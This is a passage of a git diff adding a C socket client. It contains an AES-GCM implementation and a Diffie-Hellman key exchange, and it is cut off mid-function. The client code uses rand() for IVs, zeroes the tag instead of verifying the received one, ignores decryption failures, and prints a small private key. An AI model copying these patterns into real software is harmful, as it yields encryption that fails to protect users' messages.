void aes_debug_print_timestamp(void);
|
||||||
|
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
|
||||||
|
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
|
||||||
|
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
|
||||||
|
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len);
|
||||||
|
|
||||||
|
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||||
|
size_t len);
|
||||||
|
|
||||||
|
#endif /* AES_DEBUG_STDOUT */
|
||||||
|
|
||||||
|
#endif /* AES_DEBUG_H */
|
312
client/aes-gcm.c
Normal file
312
client/aes-gcm.c
Normal file
@ -0,0 +1,312 @@
|
|||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
static void inc32(aes_uchar *block)
|
||||||
|
{
|
||||||
|
aes_uint val;
|
||||||
|
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
|
||||||
|
val++;
|
||||||
|
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void xor_block(aes_uchar *dst, const aes_uchar *src)
|
||||||
|
{
|
||||||
|
aes_uint *d = (aes_uint *) dst;
|
||||||
|
aes_uint *s = (aes_uint *) src;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
*d++ ^= *s++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void shift_right_block(aes_uchar *v)
|
||||||
|
{
|
||||||
|
aes_uint val;
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 12);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[11] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 12, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 8);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[7] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 8, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v + 4);
|
||||||
|
val >>= 1;
|
||||||
|
if (v[3] & 0x01)
|
||||||
|
val |= 0x80000000;
|
||||||
|
AES_PUT_BE32(v + 4, val);
|
||||||
|
|
||||||
|
val = AES_GET_BE32(v);
|
||||||
|
val >>= 1;
|
||||||
|
AES_PUT_BE32(v, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* Multiplication in GF(2^128) */
|
||||||
|
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
|
||||||
|
{
|
||||||
|
aes_uchar v[16];
|
||||||
|
int i, j;
|
||||||
|
|
||||||
|
memset(z, 0, 16); /* Z_0 = 0^128 */
|
||||||
|
memcpy(v, y, 16); /* V_0 = Y */
|
||||||
|
|
||||||
|
for (i = 0; i < 16; i++) {
|
||||||
|
for (j = 0; j < 8; j++) {
|
||||||
|
if (x[i] & 1 << (7 - j)) {
|
||||||
|
/* Z_(i + 1) = Z_i XOR V_i */
|
||||||
|
xor_block(z, v);
|
||||||
|
} else {
|
||||||
|
/* Z_(i + 1) = Z_i */
|
||||||
|
}
|
||||||
|
|
||||||
|
if (v[15] & 0x01) {
|
||||||
|
/* V_(i + 1) = (V_i >> 1) XOR R */
|
||||||
|
shift_right_block(v);
|
||||||
|
/* R = 11100001 || 0^120 */
|
||||||
|
v[0] ^= 0xe1;
|
||||||
|
} else {
|
||||||
|
/* V_(i + 1) = V_i >> 1 */
|
||||||
|
shift_right_block(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void ghash_start(aes_uchar *y)
|
||||||
|
{
|
||||||
|
/* Y_0 = 0^128 */
|
||||||
|
memset(y, 0, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||||
|
{
|
||||||
|
size_t m, i;
|
||||||
|
const aes_uchar *xpos = x;
|
||||||
|
aes_uchar tmp[16];
|
||||||
|
|
||||||
|
m = xlen / 16;
|
||||||
|
|
||||||
|
for (i = 0; i < m; i++) {
|
||||||
|
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||||
|
xor_block(y, xpos);
|
||||||
|
xpos += 16;
|
||||||
|
|
||||||
|
/* dot operation:
|
||||||
|
* multiplication operation for binary Galois (finite) field of
|
||||||
|
* 2^128 elements */
|
||||||
|
gf_mult(y, h, tmp);
|
||||||
|
memcpy(y, tmp, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (x + xlen > xpos) {
|
||||||
|
/* Add zero padded last block */
|
||||||
|
size_t last = x + xlen - xpos;
|
||||||
|
memcpy(tmp, xpos, last);
|
||||||
|
memset(tmp + last, 0, sizeof(tmp) - last);
|
||||||
|
|
||||||
|
/* Y_i = (Y^(i-1) XOR X_i) dot H */
|
||||||
|
xor_block(y, tmp);
|
||||||
|
|
||||||
|
/* dot operation:
|
||||||
|
* multiplication operation for binary Galois (finite) field of
|
||||||
|
* 2^128 elements */
|
||||||
|
gf_mult(y, h, tmp);
|
||||||
|
memcpy(y, tmp, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Return Y_m */
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
|
||||||
|
{
|
||||||
|
size_t i, n, last;
|
||||||
|
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||||
|
const aes_uchar *xpos = x;
|
||||||
|
aes_uchar *ypos = y;
|
||||||
|
|
||||||
|
if (xlen == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
n = xlen / 16;
|
||||||
|
|
||||||
|
memcpy(cb, icb, AES_BLOCK_SIZE);
|
||||||
|
/* Full blocks */
|
||||||
|
for (i = 0; i < n; i++) {
|
||||||
|
aes_encrypt(aes, cb, ypos);
|
||||||
|
xor_block(ypos, xpos);
|
||||||
|
xpos += AES_BLOCK_SIZE;
|
||||||
|
ypos += AES_BLOCK_SIZE;
|
||||||
|
inc32(cb);
|
||||||
|
}
|
||||||
|
|
||||||
|
last = x + xlen - xpos;
|
||||||
|
if (last) {
|
||||||
|
/* Last, partial block */
|
||||||
|
aes_encrypt(aes, cb, tmp);
|
||||||
|
for (i = 0; i < last; i++)
|
||||||
|
*ypos++ = *xpos++ ^ tmp[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
|
||||||
|
{
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_encrypt_init(key, key_len);
|
||||||
|
if (aes == NULL)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
/* Generate hash subkey H = AES_K(0^128) */
|
||||||
|
memset(H, 0, AES_BLOCK_SIZE);
|
||||||
|
aes_encrypt(aes, H, H);
|
||||||
|
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
|
||||||
|
return aes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
|
||||||
|
{
|
||||||
|
aes_uchar len_buf[16];
|
||||||
|
|
||||||
|
if (iv_len == 12) {
|
||||||
|
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
|
||||||
|
memcpy(J0, iv, iv_len);
|
||||||
|
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
|
||||||
|
J0[AES_BLOCK_SIZE - 1] = 0x01;
|
||||||
|
} else {
|
||||||
|
/*
|
||||||
|
* s = 128 * ceil(len(IV)/128) - len(IV)
|
||||||
|
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
|
||||||
|
*/
|
||||||
|
ghash_start(J0);
|
||||||
|
ghash(H, iv, iv_len, J0);
|
||||||
|
AES_PUT_BE64(len_buf, 0);
|
||||||
|
AES_PUT_BE64(len_buf + 8, iv_len * 8);
|
||||||
|
ghash(H, len_buf, sizeof(len_buf), J0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
|
||||||
|
aes_uchar *out)
|
||||||
|
{
|
||||||
|
aes_uchar J0inc[AES_BLOCK_SIZE];
|
||||||
|
|
||||||
|
if (len == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
memcpy(J0inc, J0, AES_BLOCK_SIZE);
|
||||||
|
inc32(J0inc);
|
||||||
|
aes_gctr(aes, J0inc, in, len, out);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
|
||||||
|
{
|
||||||
|
aes_uchar len_buf[16];
|
||||||
|
|
||||||
|
/*
|
||||||
|
* u = 128 * ceil[len(C)/128] - len(C)
|
||||||
|
* v = 128 * ceil[len(A)/128] - len(A)
|
||||||
|
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
|
||||||
|
* (i.e., zero padded to block size A || C and lengths of each in bits)
|
||||||
|
*/
|
||||||
|
ghash_start(S);
|
||||||
|
ghash(H, aad, aad_len, S);
|
||||||
|
ghash(H, crypt, crypt_len, S);
|
||||||
|
AES_PUT_BE64(len_buf, aad_len * 8);
|
||||||
|
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
|
||||||
|
ghash(H, len_buf, sizeof(len_buf), S);
|
||||||
|
|
||||||
|
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* aes_gcm_ae - GCM-AE_K(IV, P, A)
|
||||||
|
*/
|
||||||
|
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
|
||||||
|
{
|
||||||
|
aes_uchar H[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar J0[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar S[16];
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||||
|
if (aes == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||||
|
|
||||||
|
/* C = GCTR_K(inc_32(J_0), P) */
|
||||||
|
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
|
||||||
|
|
||||||
|
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
|
||||||
|
|
||||||
|
/* T = MSB_t(GCTR_K(J_0, S)) */
|
||||||
|
aes_gctr(aes, J0, S, sizeof(S), tag);
|
||||||
|
|
||||||
|
/* Return (C, T) */
|
||||||
|
|
||||||
|
aes_encrypt_deinit(aes);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
|
||||||
|
*/
|
||||||
|
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
|
||||||
|
{
|
||||||
|
aes_uchar H[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar J0[AES_BLOCK_SIZE];
|
||||||
|
aes_uchar S[16], T[16];
|
||||||
|
void *aes;
|
||||||
|
|
||||||
|
aes = aes_gcm_init_hash_subkey(key, key_len, H);
|
||||||
|
if (aes == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
aes_gcm_prepare_j0(iv, iv_len, H, J0);
|
||||||
|
|
||||||
|
/* P = GCTR_K(inc_32(J_0), C) */
|
||||||
|
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
|
||||||
|
|
||||||
|
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
|
||||||
|
|
||||||
|
/* T' = MSB_t(GCTR_K(J_0, S)) */
|
||||||
|
aes_gctr(aes, J0, S, sizeof(S), T);
|
||||||
|
|
||||||
|
aes_encrypt_deinit(aes);
|
||||||
|
|
||||||
|
if (memcmp(tag, T, 16) != 0) {
|
||||||
|
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
|
||||||
|
{
|
||||||
|
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
|
||||||
|
}
|
1021
client/aes-internal.c
Normal file
1021
client/aes-internal.c
Normal file
File diff suppressed because it is too large
Load Diff
113
client/aes-internal.h
Normal file
113
client/aes-internal.h
Normal file
@ -0,0 +1,113 @@
|
|||||||
|
#ifndef AES_INTERNAL_H
|
||||||
|
#define AES_INTERNAL_H
|
||||||
|
|
||||||
|
extern const aes_uint Te0[256];
|
||||||
|
extern const aes_uint Te1[256];
|
||||||
|
extern const aes_uint Te2[256];
|
||||||
|
extern const aes_uint Te3[256];
|
||||||
|
extern const aes_uint Te4[256];
|
||||||
|
extern const aes_uint Td0[256];
|
||||||
|
extern const aes_uint Td1[256];
|
||||||
|
extern const aes_uint Td2[256];
|
||||||
|
extern const aes_uint Td3[256];
|
||||||
|
extern const aes_uint Td4[256];
|
||||||
|
extern const aes_uint rcon[10];
|
||||||
|
extern const aes_uchar Td4s[256];
|
||||||
|
extern const aes_uchar rcons[10];
|
||||||
|
|
||||||
|
#ifndef AES_SMALL_TABLES
|
||||||
|
|
||||||
|
#define RCON(i) rcon[(i)]
|
||||||
|
|
||||||
|
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||||
|
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||||
|
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||||
|
#define TE3(i) Te3[(i) & 0xff]
|
||||||
|
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||||
|
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||||
|
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||||
|
|
||||||
|
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||||
|
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||||
|
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||||
|
#define TD3(i) Td3[(i) & 0xff]
|
||||||
|
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||||
|
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||||
|
#define TD0_(i) Td0[(i) & 0xff]
|
||||||
|
#define TD1_(i) Td1[(i) & 0xff]
|
||||||
|
#define TD2_(i) Td2[(i) & 0xff]
|
||||||
|
#define TD3_(i) Td3[(i) & 0xff]
|
||||||
|
|
||||||
|
#else /* AES_SMALL_TABLES */
|
||||||
|
|
||||||
|
#define RCON(i) (rcons[(i)] << 24)
|
||||||
|
|
||||||
|
static inline aes_uint rotr(aes_uint val, int bits)
|
||||||
|
{
|
||||||
|
return (val >> bits) | (val << (32 - bits));
|
||||||
|
}
|
||||||
|
|
||||||
|
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||||
|
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||||
|
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||||
|
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||||
|
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||||
|
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||||
|
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||||
|
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||||
|
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||||
|
|
||||||
|
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||||
|
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||||
|
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||||
|
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||||
|
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||||
|
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||||
|
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||||
|
#define TD44(i) (Td4s[(i) & 0xff])
|
||||||
|
#define TD0_(i) Td0[(i) & 0xff]
|
||||||
|
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||||
|
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||||
|
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||||
|
|
||||||
|
#endif /* AES_SMALL_TABLES */
|
||||||
|
|
||||||
|
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
|
||||||
|
((aes_uint)(pt)[1] << 16) ^ \
|
||||||
|
((aes_uint)(pt)[2] << 8) ^ \
|
||||||
|
((aes_uint)(pt)[3]))
|
||||||
|
#define PUTU32(ct, st) { \
|
||||||
|
(ct)[0] = (aes_uchar)((st) >> 24); \
|
||||||
|
(ct)[1] = (aes_uchar)((st) >> 16); \
|
||||||
|
(ct)[2] = (aes_uchar)((st) >> 8); \
|
||||||
|
(ct)[3] = (aes_uchar)(st); }
|
||||||
|
|
||||||
|
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
|
||||||
|
#define AES_PRIV_NR_POS (4 * 15)
|
||||||
|
|
||||||
|
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
|
||||||
|
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
|
||||||
|
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||||
|
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
|
||||||
|
|
||||||
|
#endif /* AES_I_H */
|
70
client/aes.h
Normal file
70
client/aes.h
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
#ifndef AES_H
|
||||||
|
#define AES_H
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define AES_FULL_UNROLL
|
||||||
|
#define AES_SMALL_TABLES
|
||||||
|
#define AES_BLOCK_SIZE 16
|
||||||
|
|
||||||
|
#include "aes-common.h"
|
||||||
|
#include "aes-internal.h"
|
||||||
|
#include "aes-debug.h"
|
||||||
|
|
||||||
|
void * aes_encrypt_init(const aes_uchar *key, size_t len);
|
||||||
|
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
|
||||||
|
void aes_encrypt_deinit(void *ctx);
|
||||||
|
void * aes_decrypt_init(const aes_uchar *key, size_t len);
|
||||||
|
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
|
||||||
|
void aes_decrypt_deinit(void *ctx);
|
||||||
|
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
|
||||||
|
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
|
||||||
|
const aes_uchar *addr[], const size_t *len,
|
||||||
|
aes_uchar *mac);
|
||||||
|
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
|
||||||
|
aes_uchar *mac);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
|
||||||
|
aes_uchar *data, size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
|
||||||
|
const aes_uchar *nonce, size_t nonce_len,
|
||||||
|
const aes_uchar *hdr, size_t hdr_len,
|
||||||
|
aes_uchar *data, size_t data_len, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
|
||||||
|
const aes_uchar *nonce, size_t nonce_len,
|
||||||
|
const aes_uchar *hdr, size_t hdr_len,
|
||||||
|
aes_uchar *data, size_t data_len, const aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||||
|
size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||||
|
size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len,
|
||||||
|
aes_uchar *crypt, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
|
||||||
|
aes_uchar *plain);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||||
|
size_t M, const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||||
|
size_t M, const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
|
||||||
|
aes_uchar *plain);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* AES_H */
|
159
client/client.c
Normal file
159
client/client.c
Normal file
@ -0,0 +1,159 @@
|
|||||||
|
#include <memory.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include "Diffie_hellman.c"
|
||||||
|
#include "aes.h"
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define AES_DEBUG
|
||||||
|
#define MAX_size 256
|
||||||
|
#define PORT 8080
|
||||||
|
#define Sockaddr struct sockaddr
|
||||||
|
|
||||||
|
void recv_msg(int sockfd, char * buf, unsigned char *key){
|
||||||
|
char buff[MAX_size];
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
int l=read(sockfd, buff, sizeof(buff));
|
||||||
|
memcpy(add,buff+4,16);
|
||||||
|
memcpy(iv,buff+16+4,12);
|
||||||
|
memset(tag,0,16);
|
||||||
|
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
|
||||||
|
//add(16)+iv(12)+tag(16)+data
|
||||||
|
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
|
||||||
|
memset(cryptbuf, 0, con_len + 44 + 4);
|
||||||
|
//add+iv
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
memset(tag,0,16);
|
||||||
|
for(int j=0;j<16;j++)
|
||||||
|
add[j]=rand()%256;
|
||||||
|
for(int j=0;j<12;j++)
|
||||||
|
iv[j]=rand()%256;
|
||||||
|
//encrypt
|
||||||
|
int tmp;
|
||||||
|
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
|
||||||
|
memcpy(cryptbuf + 4, add, 16);
|
||||||
|
memcpy(cryptbuf + 20, iv, 12);
|
||||||
|
memcpy(cryptbuf + 32, tag, 16);
|
||||||
|
memcpy(cryptbuf, "data", 4);
|
||||||
|
int f;
|
||||||
|
f = write(sockfd, cryptbuf, con_len + 44 + 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void DH_key_exchange_for_client(int sockfd, unsigned char * key_aes){
|
||||||
|
Dh_key client_key;
|
||||||
|
init_numbers(&client_key);
|
||||||
|
client_key.urand = fopen("/dev/urandom","r");
|
||||||
|
mpz_set_ui(client_key.base, (unsigned long)2);
|
||||||
|
char buff[MAX_size];
|
||||||
|
memset(buff, 0, MAX_size);
|
||||||
|
|
||||||
|
//receive p
|
||||||
|
memset(buff, 0, MAX_size);
|
||||||
|
read(sockfd,buff,sizeof(buff));
|
||||||
|
mpz_set_str(client_key.prime,buff+3,16);
|
||||||
|
gmp_printf("p:%Zd\n",client_key.prime);
|
||||||
|
|
||||||
|
//generate private key a
|
||||||
|
generate_key(32, &client_key);
|
||||||
|
gmp_printf("a:%Zd\n",client_key.private_key);
|
||||||
|
|
||||||
|
//calculate public key A=g^a(mod p)
|
||||||
|
mpz_powm(client_key.public_key, client_key.base, client_key.private_key, client_key.prime);
|
||||||
|
gmp_printf("A:%Zd\n",client_key.public_key);
|
||||||
|
|
||||||
|
//send A
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
memcpy(buff,"pub",3);
|
||||||
|
mpz_get_str(buff+3,16,client_key.public_key);
|
||||||
|
write(sockfd,buff,sizeof(buff));
|
||||||
|
|
||||||
|
//receive B
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
read(sockfd,buff,sizeof(buff));
|
||||||
|
mpz_t key_from_s;
|
||||||
|
mpz_init(key_from_s);
|
||||||
|
mpz_set_str(key_from_s,buff+3,16);
|
||||||
|
gmp_printf("B:%Zd\n",key_from_s);
|
||||||
|
|
||||||
|
//calc s=g^(ab)
|
||||||
|
mpz_powm(client_key.key, key_from_s, client_key.private_key, client_key.prime);
|
||||||
|
|
||||||
|
//key -> char*
|
||||||
|
bzero(buff, MAX_size);
|
||||||
|
